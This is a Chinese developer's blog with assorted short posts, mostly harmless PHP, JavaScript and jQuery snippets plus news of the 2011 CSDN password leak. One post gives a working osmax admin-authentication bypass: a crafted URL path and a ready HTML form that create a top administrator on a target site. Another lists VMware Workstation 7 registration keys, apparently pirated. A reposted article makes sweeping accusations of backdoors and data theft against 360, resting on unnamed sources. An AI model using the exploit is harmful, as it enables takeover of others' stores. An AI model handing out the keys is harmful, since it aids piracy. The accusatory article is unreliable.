oscommerce删除指定id的produit

一 02 2012

哎,公司里面有个客户的站点还用的oscommece。我又比较倒霉,被安排成了维护这个网站,客户的要求太多了,一下要这样一下要那样。整个系统可以说是修改修改,已经改得看不出是oscommerce了。现在又要来删除它们不同商场同步过来的重复产品。每次这种临时修改的代码都是用完就删,所以跑这里来记下代码,以后再遇到就直接用这段代码了。

<div id="_mcePaste">
<div id="_mcePaste">/*删除指定id的produit*/</div>
<div id="_mcePaste">if(!empty($_GET['del'])){</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$arr=array(<span style="white-space: pre;"> </span>18497,18898,19175,18849,19282,18870,19295,18933,18983,19025,19133,18886,19315,19031,18994,18580,18768,19195,18771,19207<span style="white-space: pre;"> </span>);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>if(!empty($arr)){</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$list<span style="white-space: pre;"> </span>= array();</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$sql<span style="white-space: pre;"> </span>= "SELECT products_id,winmeuble_reference_client,winmeuble_code_fournisseur,winmeuble_reference_fournisseur FROM products WHERE products_id IN (".implode(',',$arr).")";</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$res <span style="white-space: pre;"> </span>= tep_db_query($sql);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>while ($v = tep_db_fetch_array($res)){</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$winmeuble_reference_client<span style="white-space: pre;"> </span>= addslashes($v['winmeuble_reference_client']);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$winmeuble_code_fournisseur<span style="white-space: pre;"> </span>= addslashes($v['winmeuble_code_fournisseur']);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$winmeuble_reference_fournisseur<span style="white-space: pre;"> </span>= addslashes($v['winmeuble_reference_fournisseur']);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$res1 = tep_db_query("SELECT products_id FROM products WHERE winmeuble_reference_client='".$winmeuble_reference_client."'</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>AND winmeuble_code_fournisseur='".$winmeuble_code_fournisseur."'</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>AND winmeuble_reference_fournisseur='".$winmeuble_reference_fournisseur."'");</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>while ($v1 = tep_db_fetch_array($res1)){</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$list[]=$v1['products_id'];<span style="white-space: pre;"> </span></div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>}</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>}</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>}</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>if(!empty($list)){</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>$wheresql=" products_id IN (".implode(',',$list).")";</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>tep_db_query("DELETE FROM products WHERE ".$wheresql);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>tep_db_query("DELETE FROM products_description WHERE ".$wheresql);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>tep_db_query("DELETE FROM products_to_categories WHERE ".$wheresql);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>}</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>echo count($list);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>echo '<br/><pre>';</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>print_r($list);</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>echo '</pre>';</div>
<div id="_mcePaste"><span style="white-space: pre;"> </span>die();</div>
<div id="_mcePaste">}/**/</div>
</div>

No responses yet

CSDN网站六百万用户信息外泄

十二 21 2011

查询账号是否泄露

找到一个比较快速的查询你的账号信息是否被csdn泄露的方法,这里是地址http://www.zaifaguo.com/tools/csdn/,直接输入用户名或者邮箱地址就可以了

事件回顾

有网友爆料称,今天有黑客在网上公开了知名程序员网站CSDN的用户数据库,高达600多万个明文的注册邮箱账号和密码遭到曝光和外泄,成为今年中国一次重大网络安全事故。

这份名为“CSDN-中文IT社区-600万.rar”的文件已经在网上传播,文件大小107366K,经过下载验证,里面的确记录了大量CSDN的邮箱和密码,并且都是明文的。

整个事件最不可思议的地方在于,像CSDN这样的以程序员和开发为核心的大型网站,居然采用明文存储密码,导致海量用户的账号信息包括密码直接被泄露,这是最令人难以置信的地方,稍微懂一点编程的程序员都知道,为了用户的安全,应该在数据库里保存用户密码的加密信息,最简单的MD5(密码+随机字符串),一般类似UCenter这样的论坛还会将这个信息再MD5一次,这样黑客即使下载了数据库,用户密码破解也不是一件容易的事情。

No responses yet

javascript简易模板

六 14 2011

用于javascript中的模板替换

function substitute (str, obj) {
    if (!(Object.prototype.toString.call(str) === '[object String]')) {
        return '';
    }

    // {}, new Object(), new Class()
    // Object.prototype.toString.call(node=document.getElementById("xx")) : ie678 == '[object Object]', other =='[object HTMLElement]'
    // 'isPrototypeOf' in node : ie678 === false , other === true
    if(!(Object.prototype.toString.call(obj) === '[object Object]' && 'isPrototypeOf' in obj)) {
        return str;
    }

    // https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String/replace
    return str.replace(/\{([^{}]+)\}/g, function(match, key) {
        var value = obj[key];
        return ( value !== undefined) ? ''+value :'';
    });
}

用法:

var obj = {
    url: "http://www.plannabc.net/",
    title: "落草为根——专注前端技术&关注用户体验",
    text: "怿飞's Blog"
};
var link = '<a href="{url}" title="{title}">{text}</a>';
substitute(link, obj)

No responses yet

PHP的内码转换函数 mb_convert_encoding()

六 06 2011

因为某程序要用输出UTF-8编码..但是原数据是GBK编码的

百度 找了很多有关内码转换的类..但是缺点很多.又不支持GBK TO UTF-8

不过一个一个找还是在PHP官方的FAQ找到了mb_convert_encoding() 该函数要在PHP4.0.6以上才有..听说有的
想关链接: http://cn.php.net/manual/zh/function.mb-convert-encoding.php

做一个GBK To UTF-8

< ?php
header("content-Type: text/html; charset=Utf-8");
echo mb_convert_encoding("妳係我的友仔", "UTF-8", "GBK");
?>

再来个GB2312 To Big5

< ?php
header("content-Type: text/html; charset=big5");
echo mb_convert_encoding("你是我的朋友", "big5", "GB2312");
?>

No responses yet

JQuery中处理 select radio checkbox

四 22 2011

获取一组radio被选中项的值
var item = $(‘input[@name=items][@checked]‘).val();
获取select被选中项的文本
var item = $(“select[@name=items] option[@selected]“).text();
select下拉框的第二个元素为当前选中值
$(‘#select_id’)[0].selectedIndex = 1;
radio单选组的第二个元素为当前选中值
$(‘input[@name=items]‘).get(1).checked = true;

获取值:

文本框,文本区域:$(“#txt”).attr(“value”);
多选框checkbox:$(“#checkbox_id”).attr(“value”);
单选组radio: $(“input[@type=radio][@checked]“).val();
下拉框select: $(‘#sel’).val();

控制表单元素:
文本框,文本区域:$(“#txt”).attr(“value”,”);//清空内容
$(“#txt”).attr(“value”,’11′);//填充内容

多选框checkbox: $(“#chk1″).attr(“checked”,”);//不打勾
$(“#chk2″).attr(“checked”,true);//打勾
if($(“#chk1″).attr(‘checked’)==undefined) //判断是否已经打勾

单选组radio: $(“input[@type=radio]“).attr(“checked”,’2′);//设置value=2的项目为当前选中项
下拉框select: $(“#sel”).attr(“value”,’-sel3′);//设置value=-sel3的项目为当前选中项
$(“

“).appendTo(“#sel”)//添加下拉框的option
$(“#sel”).empty();//清空下拉框

No responses yet

javascript中实现类似php中的urlencode

二 26 2011

这个函数用于对url编码,产生结果与php的urlencode一至。原文链接phpjs.org。这里我直接把代码复制过来了,如下。

function urlencode(str){
    // URL-encodes string
    //
    // version: 1102.614
    // discuss at: http://phpjs.org/functions/urlencode    // +   original by: Philip Peterson
    // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +      input by: AJ
    // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   improved by: Brett Zamir (http://brett-zamir.me)    // +   bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +      input by: travc
    // +      input by: Brett Zamir (http://brett-zamir.me)
    // +   bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   improved by: Lars Fischer    // +      input by: Ratheous
    // +      reimplemented by: Brett Zamir (http://brett-zamir.me)
    // +   bugfixed by: Joris
    // +      reimplemented by: Brett Zamir (http://brett-zamir.me)
    // %          note 1: This reflects PHP 5.3/6.0+ behavior    // %        note 2: Please be aware that this function expects to encode into UTF-8 encoded strings, as found on
    // %        note 2: pages served as UTF-8
    // *     example 1: urlencode('Kevin van Zonneveld!');
    // *     returns 1: 'Kevin+van+Zonneveld%21'
    // *     example 2: urlencode('http://kevin.vanzonneveld.net/');    // *     returns 2: 'http%3A%2F%2Fkevin.vanzonneveld.net%2F'
    // *     example 3: urlencode('http://www.google.nl/search?q=php.js&ie=utf-8&oe=utf-8&aq=t&rls=com.ubuntu:en-US:unofficial&client=firefox-a');
    // *     returns 3: 'http%3A%2F%2Fwww.google.nl%2Fsearch%3Fq%3Dphp.js%26ie%3Dutf-8%26oe%3Dutf-8%26aq%3Dt%26rls%3Dcom.ubuntu%3Aen-US%3Aunofficial%26client%3Dfirefox-a'
    str = (str + '').toString();
     // Tilde should be allowed unescaped in future versions of PHP (as reflected below), but if you want to reflect current
    // PHP behavior, you would need to add ".replace(/~/g, '%7E');" to the following.
    return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').
    replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');
}

No responses yet

VMWare Workstation 7注册码

二 01 2011

UA3D2-4PX9J-481JQ-37QXZ-Y22RF
ZA75R-AWZ5H-0847Q-CGY5C-N3HD0
UU10A-2MY1Q-080XY-67Y5C-XK296
UG1T0-ALYEP-085VP-QEPQG-MK2A4
AG5JA-64EE2-0895Q-GQN7T-QVUAA
YY7JK-0JY05-48DQY-TDQQX-PUHYD
FF1E8-0ZED7-0895P-UFWZ9-N78VD
CU39A-F9Z13-M881Z-5XWGX-QCAY4
VZ792-4FF8H-089AZ-FFWGC-ZAK86
CF75H-68ZE4-M84DQ-W6YGV-N28FF
FA1R2-DQE8J-080GQ-Z7XEG-P2HYF
AU74U-DQZ8M-H8EDZ-WXQ5C-Z68GD
YY5XA-0XW0N-H8E9Z-YEZG9-QFKD8
YV5E2-AYX01-080YY-APZ7E-WYU92
FF190-62G47-48EGP-Y7W7E-XU0VA
GG3JU-FHY0K-H883P-1EQQC-NY0A8

No responses yet

javascript中在对象中使用数组的一点问题

一 14 2011

今天在座一个小功能的时候发现了一个在对象中使用数组时,可能产生问题的地方。
简单来说,就是如果一个对象在prototype中初始化了一个数组,那么在同一个对象的不同实例之间,任意一个实例修改了该数组,那么其他实例中的该数组值也会跟着改变。
分别运行下面两段代码可以发现问题

aaaa=function(){
	this.init();
}
aaaa.prototype={
	item:[],
	init:function(){
		this.c={};
	},
	add:function(o){
		if(this.item==null)this.item=[];
		this.item.push(o);
	},
	jisuan:function(){
		if(this.item==null)this.item=[];
		alert(this.item.length);
	}
}

bb=new aaaa();
cc=new aaaa();
bb.jisuan();
cc.jisuan();

bb.add("aaa");
bb.add("bbb");

bb.jisuan();
cc.jisuan();

cc.add("ccc");

bb.jisuan();
cc.jisuan();

输出:
0
0
2
2
3
3

去掉对象中的初始化代码:

aaaa=function(){
	this.init();
}
aaaa.prototype={
	//item:[],
	init:function(){
		this.c={};
	},
	add:function(o){
		if(this.item==null)this.item=[];
		this.item.push(o);
	},
	jisuan:function(){
		if(this.item==null)this.item=[];
		alert(this.item.length);
	}
}

bb=new aaaa();
cc=new aaaa();
bb.jisuan();
cc.jisuan();

bb.add("aaa");
bb.add("bbb");

bb.jisuan();
cc.jisuan();

cc.add("ccc");

bb.jisuan();
cc.jisuan();

输出:
0
0
2
0
2
1

No responses yet

osmax 后台权限漏洞(admin bug)

一 10 2011

bug来源:
probleme de cette script:
siteurl/admin/includes/application_top.php line 245

// BOF: MOD - Admin w/access levels
  if (basename($PHP_SELF) != FILENAME_LOGIN && basename($PHP_SELF) != FILENAME_PASSWORD_FORGOTTEN) {
    tep_admin_check_login();
  }

利用方法:
Comment utliser:
构建一个特殊的url,欺骗函数basename。
比如/admin/admin_members.php/login.php. 将会执行admin_members.php中的代码,这里我们可以使用后台任意页面,运行后台任意功能。
construit un url spricial,par example:/admin/admin_members.php/login.php. normalment va interpeter cette script admin_members.php.

示例:添加管理员
ex:ajouter un administrateur

<!DOCTYPE html>
<html>
	<head>
		<title>osmax </title>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	</head>
	<body>
		<form name="new_file" action="http://siteurl/admin/admin_members.php/login.php?action=member_new&page=1mID=1" method="post">
		Prénom:<br/><input name="admin_firstname" />
		<br/>Dernier Nom:<br/>
		<input name="admin_lastname" />
		<br/> Adresse É-postale:<br/>
		<input name="admin_email_address" />
		<br/>Groupe de niveau: <br/>
		<select name="admin_groups_id">
			<option selected="" value="0">--aucun--</option>
			<option value="1">Top Administrator</option>
			<option value="2">Marketing</option>
		</select>
		<input name="submit" type="submit" value="Ajouter" >
		</form>
	</body>
</html>

邮件地址填写你的邮箱,提交后将会收到帐号密码的邮件。
mettre votre adresse mail dans la champ de email, apres valide de formulaire, on va recevoir un mail de votre compte et mot de passe.

No responses yet

360惊天后门曝光:“盗梦盒子”重现江湖

十一 03 2010

转来的,懒得自己动手写,扣扣保镖现在已经下线了样,估计也是过早暴露目标的下场吧

“360扣扣保镖”终于上线,周鸿祎教主终于图穷匕见。这可能就是传说中的“盗梦盒子”,但由于信息泄露的原因,早产了大约10天。

且不用再纠缠这个扣扣保镖是否非法外挂,不用跟360玩文字游戏了,直接说吧:“扣扣保镖”的代码背后,民间高手发现了一个不仅中国互联网、甚至全球商业史上都从未有过的惊天阴谋。

很黑很暴力。不会令你失望的,接着看。

第一层:内置后门,用户电脑变“肉鸡”

高手拆招发现:360扣扣保镖在某模块(QGuard.dll)中提供了一个调用应用层底层模块强制删除文件的接口。该接口具有360数字签名,同时未做权限限制。

您听不明白?好吧,说简单点,就是这个东西可被利用来突破所有的安全软件防护,是一个“超级后门”!

解释下后门,是指那些绕过安全控制访问程序或系统的方法。与“漏洞”不同,漏洞是程序设计缺陷导致,而后门是开发者或黑客故意在用户电脑中开设,以便随时进出及控制用户电脑。此前在360与瑞星一战中,瑞星就发现360程序藏有后门;360百般否认,直到最后才承认:这就是个后门!

开设后门的目的显而易见:在任何情况下,360都可以通过这个软件来控制用户电脑,包括安装、删除指定软件,上传、下载任何程序或数据文件,或利用来攻击网络上的其它计算机等。附带,该后门还可能被其它黑客利用,成为名副其实的“肉鸡”。

肉鸡。就是想让你的电脑干嘛就干嘛,想要拿什么就拿什么。而且,你全不知情。

第二层:埋设地雷,随时切断QQ安全防护升级通道

高手再拆招:360还通过扣扣保镖预埋类似病毒的逻辑,强行切断QQ软件的正常升级,并阻止QQ进行自我修复。360随时可以通过其“云”技术直接激活该攻击代码,强行中断QQ的升级过程。即使用户发现QQ软件被恶意破坏,也因为被360绑架而无法通过网络通道向腾讯求助。发现这段代码的网友表示:“作为安全软件的360竟然使用木马病毒的手段来扼杀对手,将成为中国互联网发展史上最耻辱的一页。”

下面这个是证据,保存下来吧!

第三层:伪造QQ掉线,骗取6亿用户隐私

这个就连高手都觉得震惊了!而且是真的!

360扣扣保镖中还预埋了一个可怕骗局。解析代码发现,360可通过其云端操作向扣扣保镖下发指令,使其弹出“QQ断网”的窗口,要求用户将所有资料“备份”到360的服务器。并且,该窗口将完全模拟QQ提示窗,朋友您上当受骗的可能性极大!

所谓“备份”,就是诱骗用户将您的所有资料上传到360服务器。但高手认为:这可能一个幌子,360实际上已经主动获取了这些信息,这个诱骗的目的:只是为了让整个窃取过程显得象是“用户主动操作”。

呵呵,非常巧妙,天才!

网友感慨,周鸿祎在3721流氓时代的死党、现在的360总裁齐向东此前接受媒体采访时说,“即使公司要倒闭了,卖用户资料也能发两个月工资”。原来是这个意思!

此前有内幕人士透露,360早在半年前就开始盘算如何盗取QQ用户的隐私,后因其盗取行为被腾讯的技术专家拦截,偷窃计划破产。此次,360通过制造木马病毒诱骗QQ用户隐私,便是最直接证据。

360惊天后门曝光:“盗梦盒子”重现江湖

高潮来了:还原“盗梦盒子”

几乎是在“360隐私保护器”出炉同时,已经有接近360核心员工的人士披露过一个绝密计划的存在:360正酝酿的新产品必将掀起一场血雨腥风,这款产品的内部名称叫“盗梦盒子”。

据说与近期流行的进口大片《盗梦空间》有关。据说周鸿祎很喜欢这部电影哦。

这款产品在当时就已经初步成型,可以看成是360“保管箱”的一个终极版本。最初以保管箱形式推广的原因是:当时360才刚洗白,刚刚摆脱流氓软件名号的阴影,还需要取得用户信任,其次,技术演练还需要一定时间。毕竟,这可是个前无古人的大工程。

与其前辈保险箱相比,盗梦盒子当然更胜一筹:对用户所有网络连接具有至高无上的权利!用户的任何网络交互行为,都必须经由这个盗梦盒子进行,并接受360的“安全检查”。简而言之,就象我们在机场安检时行李必须经过的X光扫描,所不同的是,这个盒子归360所有,“安全”标准由360来定,由360来决定是否放行。

明白了吧!

如此一来,用户传输的所有信息都在360监控之下。不要说关系链了,想要的任何东西都如同探囊取物一般。该内部人员称,盗梦盒子的战略价值远远高于IM本身,这才是真正密谋的惊天大作。

对于为什么盒子出来以后只控制QQ,有人认为是早产的原因。但更有人倾向于认为,对360来说,控制QQ就控制了一切。远交近攻嘛,老周可是互联网里的“战争之王”。

周鸿祎老师完美演出

在对腾讯长达一个多月的口水战中,360一切抛头露面的事情都由副手齐向东代劳。而周鸿祎则一反常态,不再连篇累牍地攻击对方,而是频频出席各种媒体场合,分享创业经验,仿佛闲云野鹤。他说“与腾讯的争斗只是件小事”。

了解了360真正的计划之后,那么这场争斗的确是“小事”。因为周鸿祎显然不会甘心当保镖,他真正的“理想”是窃取腾讯庞大的用户资源,另立山头。360扣扣保镖正是承担这一任务的“超级大盗”。

360公司从创业之始就口水不断,仅最近一年就惹上瑞星、金山、百度、腾讯等一系列不正当竞争诉讼官司。很多业内人士或明或暗的指周鸿祎是“流氓”、“疯狗”,对此周在接受媒体采访时说,“我不是疯狗,我觉得我们是250”。周鸿祎欣然接受250的称呼,因为他觉得250+110=360,这正是他喜欢的角色–网络警察。包藏祸心的假警察。

业内高手瞬雨在博客中说,“在周鸿祎之前,我们没有看到流氓软件的存在和泛滥呢?周鸿祎却利用插件的机会去欺骗用户、绑架用户。3721揭开了流氓软件的序幕,创造了一个本不存在、也不应该存在的流氓软件的历史,并且为人类的词汇表增添了‘流氓软件’一词。”

但是,3721所创造的历史还在延续,但现在360要创造的是一段全新历史,不仅是流氓软件,也不仅是非法外挂,更是人类商业文明史中前所未有的、明目张胆的盗窃行为。倘若这样的行为不能及时受到法律制裁,中国互联网将彻底陷入一片黑暗。记住,不仅是这些互联网公司的黑暗,而最终是用户您的黑暗。

周老师,擅长“立地成佛”

周鸿祎之前,中国没有流氓软件产业。中国首款流氓软件3721是周鸿祎的杰作。但在出走雅虎后,他立刻就向3721举起屠刀,并因此“立地成佛”。

不久前接受采访时,周鸿祎不无感慨地回忆起3721,认为“3721犯了一些错误,虽然它并没有像流氓软件那么恶劣,但是确实也是被抹了很多黑,这是我心里上很沉重的一点。”

周说自己是个有价值观的人。在开发3721的时候,显然没有把它当成流氓软件;杀它的时候,为了树立自己大义灭亲的形象,又费尽心机给它戴上流氓软件的帽子,所谓“抹黑3721”的人不是别人,正是周鸿祎老师自己嘛。现在盖棺定论,竟又流露出舔犊之情。这是何等错乱的“价值观”?我有点晕。

但是,这个路径倒也能帮助我们演绎出周鸿祎的二度轮回。

扣扣保镖有两种极端前景:一是阴谋得逞,即企鹅溃败。这并非完全不可能发生,一旦发生,360将在中国互联网实现复辟,不光是它的反对者,所有今天力挺360的公司,无论是新浪、搜狐、网易还是人人、4399,都将被碾成肉泥。想想希特勒对英国、小日本对美国在二战中干的事情吧。

另一种可能是360失败。在其疯狂公关和威胁媒体中,360的信誉已经危如累卵。只要再加一点力,其数年维护起来的“佛”像将轰然倒塌。但另一方面,360安全卫士、360扣扣保镖及其全系列产品将在用户电脑中成为无法清除的僵尸。

而最精彩的是:周鸿祎极有可能会再开发出一款产品,专门卸载这个僵尸,以便他再一次举起屠刀,立地成佛。

No responses yet